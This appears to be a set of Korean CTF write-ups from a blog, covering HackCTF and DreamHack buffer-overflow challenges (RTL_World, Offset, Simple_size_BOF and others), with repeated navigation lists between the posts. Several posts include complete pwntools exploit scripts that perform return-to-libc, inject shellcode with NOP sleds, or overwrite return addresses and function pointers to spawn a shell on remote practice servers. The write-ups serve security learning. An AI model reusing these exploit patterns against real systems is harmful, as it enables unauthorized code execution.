ASLR이 켜져있다.

그래서 RTL을 하기 위한 system 함수의 위치와 "/bin/sh" 문자열의 위치를 찾아야 하는데,

Get the System Armor와 Get the Shell Sword에서 system 함수의 위치와 "/bin/sh" 문자열의 주소를 출력해준다.

그러기 위해선 돈이 1999+2999 만큼 필요한데 Get_Money 함수에 가보면

4를 입력하면 돈이 랜덤값으로 정해진다.

from pwn import *

e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)

r.sendlineafter('>>> ', '2')

r.sendlineafter('(Job)>>> ', '4')

 

그럼 그 다음에 system 함수 주소와 /bin/sh 문자열 주소를 얻자

r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)

r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)

 

그리고 canary도 없으니 바로 공격한다

r.sendlineafter('>>> ', '5')
r.recvuntil('> ')

payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)

r.sendline(payload)

r.interactive()
from pwn import *

e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)

r.sendlineafter('>>> ', '2')

r.sendlineafter('(Job)>>> ', '4')

r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)

r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)

r.sendlineafter('>>> ', '5')
r.recvuntil('> ')

payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

11. RTL  (0) 2021.07.19
10. PLT & GOT  (0) 2021.07.19
9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11

다른 문제들에 비해 좀 복잡하다.

Stack canary 를 제외한 다른 보호기법들은 다 적용되어 있다. 그렇다는건 버퍼 오버플로우를 통해서 풀면 된다는 것이다.

일단 IDA로 따보면

print_flag라는 수상한 함수가 있는데 기억해두고,

main 에서 값을 받아 select_func 에 넘겨준다.

 

select_func에는 dest와 v3 변수가 있는데 dest에 src 인자를 31바이트 복사한다.

dest와 v3간의 거리는 30바이트이기 때문에 src에 31바이트 값을 넣으면 v3 변수의 영역 1바이트를 침범한다.

little endian 프로그램이기 때문에 

맨 뒷 자리가 가장 낮은 주소에 들어가고,

맨 앞 자리가 가장 높은 주소에 들어갈 것이다.

그렇다면 dest(낮은곳)에서 올라와서 딱 한바이트 침범한다면

v3의 가장 낮은 주소 한바이트를 침범할 것이다.

그 가장 낮은 주소는 주소의 맨 뒷 자리일 것이고,

그렇다면 함수 two의 주소가 0x565556ad이면,

0x565556ad 이 부분을 바꿀 수 있다는 것이다.

아까 위에서 print_flag 란 수상한 함수가 있다고 한걸 기억하고 있다면,

print_flag의 주소를 찾아보지 않을수가 없다.

찾아보면 print_flag의 주소는 0x565556d8,

공교롭게도 함수 two의 주소와 차이가 단 맨 뒷자리밖에 차이가 나지 않는다. 그렇다면 0x565556ad를 0x565556d8로 바꿔야 하니 select_func의 인자 src의 값을 30자리를 아무 값으로나, 그리고 맨 뒤 한자리를 d8로 하면 v3의 값이 print_flag의 주소값으로 바뀌지 않을까?

이 문구, print_flag 에 있는 문장이랑 똑같다.

 

임의의 플래그 파일을 만들어 실행시켜보니 제대로 나온다.

이걸 이제 서버에 연결해서 실행시키기만 하면 된다!

플래그가 잘 나오는걸 볼 수 있다.

728x90

'해킹 > writeup' 카테고리의 다른 글

10. PLT & GOT  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11

간단하다.

그냥 v4 주소 받고, v4에 쉘코드 넣고 나머지 + 8 만큼 \x90으로 채운 뒤 v4의 주소를 써서 RET 을 덮어 씌우면 된다.

from pwn import *

#p = process("./Simple_size_bof")
p = remote('ctf.j0n9hyun.xyz', 3005)

buffsize = 0x6d30

context(arch='amd64', os='linux')
shell = asm(shellcraft.amd64.linux.sh())

p.recvuntil('buf: ')
buffloc = int(p.recv(14), 16)

payload = b''
payload += shell
payload += b'\x90' * (buffsize - len(shell) + 8)
payload += p64(buffloc)

p.sendline(payload)

p.interactive()

 

728x90

'해킹 > writeup' 카테고리의 다른 글

12. HackCTF - RTL_World  (0) 2021.07.18
9. HackCTF - Offset  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11

s 변수의 크기부터 봐보자. 0x14 쉘 코드를 넣기에는 공간이 부족하고, s 변수의 주소를 알아낼 수 없다.

name 변수를 보자. name변수는 bss 영역에 있는걸 보아 초기화되지 않은 전역 변수인 거 같다.

보호 기법도 없으니 name 변수는 항상 고정된 위치에 있을 것이다.

name 변수 위치인 0804A060에 쉘 코드를 넣고,

s를 버퍼 오버플로우를 이용하여 ret을 name 변수 주소로 덮어 씌울 것이다.

from pwn import *

context.log_level = 'debug'

#r = process("./prob1")
r = remote("ctf.j0n9hyun.xyz", 3003)

context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())

r.recvuntil(": ")
r.sendline(shell)

payload = b''
payload += b'A' * (0x14 + 4)
payload += p32(0x804a060)

r.recvuntil(": ")
r.sendline(payload)
r.interactive()

이상하게 로컬에서 돌렸을때는 쉘이 제대로 작동하지 않았는데 서버에 시도할때는 제대로 됐다.

728x90

'해킹 > writeup' 카테고리의 다른 글

9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16

취약점을 찾기 위해 IDA 로 뜯어보면

이렇게 나온다.

C 코드만 보고 한번에 알아내긴 힘드니까 한번 실행해본다.

실행 결과랑 코드를 같이 봐 보면

입력받은 값을 s 배열에 저장해서 주소값과 함께 출력하는것 같다.

보호기법도 적용되어 있지 않으니 s 에 쉘코드를 넣고 빈 부분을 \x90 으로 채운 뒤 RET에 s의 주소를 넣어주면 되겠다.

 

그래서 코드를 짜 보면

from pwn import *

#r = process("./Simple_overflow_ver_2")
r = remote("ctf.j0n9hyun.xyz", 3006)

context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())

print(r.recvuntil(": "))
r.sendline("test")
addr = int(r.recv(8+2), 16)
r.sendline('y')

payload = shell
payload += b'\x90'*(0x88 + 4 - len(shell))
payload += p32(addr)

r.sendline(payload)
r.interactive()

이렇게 된다.

728x90

'해킹 > writeup' 카테고리의 다른 글

7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s);
  return 0;
}
int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]
  const char *v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}

따로 함수 호출이나 if 문이 없으니 ret 값을 callMeMaybe 함수의 주소로 바꾸면 될거 같다.

 

0x110 + 0x8 = 0x118 = 280

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3004)

payload = b""
payload += b"A" * (0x110 + 8)
payload += p64(0x0000000000400606)

r.sendline(payload)

r.interactive()

0x0000000000400606는 callMeMaybe 함수의 주소값이다.

이렇게 하면 쉘이 실행될 것이다. 거기다 cat flag 를 치면 된다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}
int shell()
{
  return system("/bin/dash");
}

v5라는 함수 포인터를 호출하고 있기 때문에 s를 버퍼 오버플로우 내서 v5의 주소값을 쉘을 실행시키는 shell 함수의 주소값으로 바꾸면 될거 같다.

0x8C - 0xC = 0x80 = 128

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3001)

payload = b""
payload += b"A" * 128
payload += p32(0x0804849b)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

128 바이트를 A로 덮어씌우고 그 다음에 v5 부분을 shell 함수의 주소로 바꿨다.

그러면 shell 함수가 실행되게 될 것이고, cat flag 를 하면 플래그가 보일것이다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16

+ Recent posts